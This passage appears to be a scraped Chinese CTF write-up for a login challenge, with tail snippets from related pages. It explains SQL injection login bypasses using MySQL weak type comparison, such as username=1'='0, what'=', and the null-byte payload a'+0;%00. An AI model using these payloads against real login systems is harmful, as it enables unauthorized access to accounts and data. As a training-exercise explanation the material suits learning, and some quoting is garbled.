select * from user where username='使用者名稱' and password='密碼'
利用 1'='1 0'='0
這樣顯然不行,因為查詢到資料庫中沒有username=1 的元組,返回了0
而 0 !='1' 所以需要改為
username= 1'='0
password= 1'='0
先看前面username那一塊,由於兩個等號是從左往右計算的,
username=『p』不存在就會返回0(false),而0=''則會返回1,這樣where後面計算結果就變成了1 and 1,這樣最後就會把資料表中所有的資料挑出來。
username= 1』=』0
password= 1』=』0
或者 username=what』=』
password=what』=』
或者 username:admin』=』
password:admin』=』
sql裡面弱型別的比較,以下情況都會為true:
1='1'
1='1.0'
1='1後接字母(再後面有數字也可以)'
0='除了非0數字開頭的字串'
(2)利用mysql資料型別轉換特性以及特殊截斷符號「%00;」:
select * from table where username=0;
select * from table where username='a'+0;
這兩句均會返回庫中所有元組,就是說如果乙個字元型別的變數接收到乙個整形變數且值為0的時候,就會返回庫中所有元組
(第二句'a'+0會進行強制型別轉換,最後結果還是0)
其次,mysql的注釋符號除了-- + , # ,/**/之外,還有;%00。
利用這兩點,構造如下payload:
username=a'+0;%00&password=
就可以成功繞過了
遇到這種有登陸框的操作,顯示看他是post 還是get
一般是想到用萬能密碼,但是這道題過濾了字元,那麼萬能密碼就失效了
這道題給我的收穫是,登入框也可以進行注入
登陸一下好麼?
這個題過濾了絕大多數東西,然而留下了最關鍵的單引號。1 雙等號繞過。假設sql語句如下 select from user where username 使用者名稱 and password 密碼 現在我們知道單引號和等號沒有被過濾 這個題目是只過濾指定字元,測試一下就知道哪些被過濾了 那麼可以用一下...
注入技巧 (登陸一下好嗎)
通過這道題提示下寄幾 不是所有有關sql語句的注入都要報庫名錶名欄位名!首先開啟這道題,是倆輸入框,輸入1和1有回顯,輸入union等字元會不顯示,想著應該是回顯注入 此時應自動腦補sql語句 select from user where username and password 後經驗證是這乙個...
實驗吧登陸一下好嗎 WP
登陸一下好嗎?username 1 0 password 1 0 或者 username what password what 或者 username admin password admin 得到ctf 好吧,其實我提供的只是萬能密碼嘗試而已,真正的writeup在這裡 by wonderkun,...